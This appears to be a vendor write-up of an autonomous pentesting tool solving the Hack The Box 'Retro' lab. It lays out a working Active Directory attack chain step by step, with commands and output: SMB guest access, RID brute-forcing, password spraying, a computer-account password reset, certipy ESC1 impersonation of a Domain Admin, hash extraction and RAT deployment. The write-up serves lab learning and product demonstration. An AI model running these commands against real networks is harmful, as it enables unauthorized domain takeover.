This post will dive into how NodeZero autonomously solved the HTB Retro machine. These attack paths were discovered and executed entirely by NodeZero with no human or manual intervention.
Part 1: The User Flag – From Guest to Flag
Let us walk through the following attack graph created by NodeZero demonstrating the steps taken to find the user flag. This attack path took NodeZero just 11 minutes and 47 seconds to execute.
From the start, NodeZero’s autonomous engine treats the target as a black box. Its initial reconnaissance identifies an open SMB port.
1. Guest Access
NodeZero immediately tests common, high-impact misconfigurations. It attempts an SMB login as the guest user with a blank password and succeeds. This single finding provides an initial foothold and reveals a list of shares, most notably Notes and Trainees.
$ crackmapexec smb 10.129.26.212 --smb-timeout 5 -u guest -p "" --shares
SMB 10.129.26.212 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)
SMB 10.129.26.212 445 DC [+] retro.vl\guest:
SMB 10.129.26.212 445 DC [*] Enumerated shares
SMB 10.129.26.212 445 DC Share Permissions Remark
SMB 10.129.26.212 445 DC ----- ----------- ------
SMB 10.129.26.212 445 DC ADMIN$ Remote Admin
SMB 10.129.26.212 445 DC C$ Default share
SMB 10.129.26.212 445 DC IPC$ READ Remote IPC
SMB 10.129.26.212 445 DC NETLOGON Logon server share
SMB 10.129.26.212 445 DC Notes
SMB 10.129.26.212 445 DC SYSVOL Logon server share
SMB 10.129.26.212 445 DC Trainees READ
2. Chaining Discoveries to Get a User
A guest account is good, but a real user is better. NodeZero autonomously chains its next actions based on this new access:
Enumerate Users: It leverages its guest permissions to perform a RID brute-force attack, which confirms a list of valid domain users, including one named trainee.
netexec smb 10.129.26.212 -u guest -p "" --rid-brute
Find the Weakness: With a valid username, NodeZero’s password spray module automatically tests a list of common, weak passwords. It quickly finds a match: trainee/trainee
$ crackmapexec smb 10.129.26.212 -u trainee --shares -d RETRO.VL -p trainee --smb-timeout 5
SMB 10.129.26.212 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:RETRO.VL) (signing:True) (SMBv1:False)
SMB 10.129.26.212 445 DC [+] RETRO.VL\trainee:trainee
SMB 10.129.26.212 445 DC [*] Enumerated shares
SMB 10.129.26.212 445 DC Share Permissions Remark
SMB 10.129.26.212 445 DC ----- ----------- ------
SMB 10.129.26.212 445 DC ADMIN$ Remote Admin
SMB 10.129.26.212 445 DC C$ Default share
SMB 10.129.26.212 445 DC IPC$ READ Remote IPC
SMB 10.129.26.212 445 DC NETLOGON READ Logon server share
SMB 10.129.26.212 445 DC Notes READ
SMB 10.129.26.212 445 DC SYSVOL READ Logon server share
SMB 10.129.26.212 445 DC Trainees READ
3. Cashing In
NodeZero immediately understands that the new trainee credentials are more powerful than the guest account. It re-enumerates the SMB shares as this new user and finds it now has READ access to the Notes share. A quick enumeration of that share’s contents reveals user.txt and the flag is captured.
$ smbclient \\10.129.26.212\Notes -c get "user.txt" 90dcf384-ad3e-4cea-b1b1-b18e0c61c645 -U RETRO.VL\trainee%trainee
cbda362cff209907****************
This entire chain – from finding a port, to testing guest access, to RID cycling, to password spraying, to finding the flag – was executed in sequence by NodeZero with no human guidance.
Part 2: The Root Flag – An Autonomous, Parallel Attack
This is where NodeZero’s autonomous engine truly shines. Getting the root flag wasn’t a single linear path. NodeZero identified, pursued and autonomously fused two separate attack paths in parallel to achieve its goal.
Path A: The “Locked Door” (ADCS Vulnerability)
Using the trainee credentials, NodeZero continued to enumerate the domain. It quickly identified a high-impact vulnerability in Active Directory Certificate Services (ADCS).
certipy find -output h3 -enabled -target-ip 10.129.26.212 -u trainee@RETRO.VL -p trainee
- Discovery: A certificate template named
RetroClientswas found to be vulnerable to ESC1. - The “Why”: This vulnerability is critical because it allows a low-privilege user to request a certificate as if they were a high-privilege user. In this case, by specifying an administrator’s UPN.
- The Blocker: NodeZero analyzed the template and saw the catch. To enroll, a user has to be in the
Domain Admins,Domain Computers, orEnterprise Adminsgroup. Thetraineeuser was in none of them.
For a human, this might be a temporary dead end. For NodeZero, it is just a problem to solve. It parked this attack path, knowing the exact “key” it needed: a user in one of those three groups.
Path B: The “Key” (Finding a Weak Computer Account)
While Path A was being analyzed, the other NodeZero modules were not idle. They were simultaneously hunting for any other weaknesses on the network.
- Discovery: This hunt led to a critical finding. NodeZero identifies the domain account
BANKING$. NodeZero attempts to use the computer’s hostname as a password and discovers that its password was vulnerable to a reset. - The “Why”: Computer accounts are still accounts. More importantly, all computer accounts are members of the
Domain Computersgroup by default. - The Action: NodeZero immediately seized this opportunity, reset the account’s password, and took control of
BANKING$
python3 /opt/h3/rpcchangepwd.py RETRO.VL/BANKING$:banking@10.129.26.212 -newpass 1**************f
The “Fusion”: Connecting the Dots
This is the moment that demonstrates true autonomous intelligence. NodeZero’s central “brain” instantly connected the dots from its two parallel operations.
- Path A was blocked, needing a user in the
Domain Computersgroup. - Path B just compromised
BANKING$, a user in theDomain Computersgroup.
The “parked” ADCS attack was immediately re-activated. NodeZero now had all of the ingredients:
- It uses its new
BANKING$account (the “Key”). - To exploit the
RetroClientstemplate (the “Locked Door”) - To request a certificate impersonating
jburley, a Domain Administrator it had previously enumerated.
$ certipy req -target-ip 10.129.26.212 -u BANKING$@RETRO.VL -ca retro-DC-CA -template RetroClients -upn jburley@RETRO.VL -out user -sid S-1-5-21-2983547755-698260136-4283918172-1107 -key-size 4096 -p 1**************f
[!] Failed to resolve: RETRO.VL
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'jburley@RETRO.VL'
[*] Certificate object SID is 'S-1-5-21-2983547755-698260136-4283918172-1107'
[*] Saved certificate and private key to 'user.pfx'
From Admin to Root
With a valid certificate for a Domain Admin, NodeZero autonomously performs the final steps:
1. Get Admin Hash
It uses the jburley certificate to authenticate and extract the NTLM hash. This is an instance of the “UnPAC the Hash” attack.
certipy auth -pfx user.pfx -dc-ip 10.129.26.212 -domain RETRO.VL -u jburley
2. Deploy RAT
It uses this hash to deploy its own implant (the NodeZero RAT) directly onto the endpoint gaining full SYSTEM-level access.
$ rat_cli.sh wait-for-checkin 140c72da-55b2-4021-8884-0a35a93c5fe0 {
"correlation_id": "140c72da-55b2-4021-8884-0a35a93c5fe0",
"username": "SYSTEM",
"pid": 1000,
"implant_type": {
"Windows": {
"username": "SYSTEM",
"pid": 1000,
"process_token": {
"integrity_level": {
"name": "System",
"value": 4,
"sid": "S-1-16-16384"
},
"groups": [
"S-1-5-32-544",
"S-1-1-0",
"S-1-5-11",
"S-1-16-16384"
],
"privileges": [
"SeAssignPrimaryTokenPrivilege",
"SeLockMemoryPrivilege",
"SeIncreaseQuotaPrivilege",
"SeTcbPrivilege",
"SeSecurityPrivilege",
"SeTakeOwnershipPrivilege",
"SeLoadDriverPrivilege",
"SeSystemProfilePrivilege",
"SeSystemtimePrivilege",
"SeProfileSingleProcessPrivilege",
"SeIncreaseBasePriorityPrivilege",
"SeCreatePagefilePrivilege",
"SeCreatePermanentPrivilege",
"SeBackupPrivilege",
"SeRestorePrivilege",
"SeShutdownPrivilege",
"SeDebugPrivilege",
"SeAuditPrivilege",
"SeSystemEnvironmentPrivilege",
"SeChangeNotifyPrivilege",
"SeUndockPrivilege",
"SeManageVolumePrivilege",
"SeImpersonatePrivilege",
"SeCreateGlobalPrivilege",
"SeIncreaseWorkingSetPrivilege",
"SeTimeZonePrivilege",
"SeCreateSymbolicLinkPrivilege",
"SeDelegateSessionUserImpersonatePrivilege"
]
},
"path_to_binary": "C:\\Windows\\Temp\\tmp-lcache.exe"
}
}
}
3. Get Root Flag
The RAT is instructed to read the root.txt flag from the Administrator’s desktop, completing the full, autonomous compromise of the machine.
$ get.sh 40fce9c3f09024bca***************
Conclusion
HTB Retro is a fantastic, classic machine. It’s not designed to be very difficult, but it perfectly demonstrates a textbook attack path: chaining weak credentials into a critical Active Directory misconfiguration. The point isn’t that a human couldn’t find this. The point is that NodeZero did, autonomously and quickly. It shows NodeZero’s ability to correctly identify, chain, and fuse common-but-critical vulnerabilities.
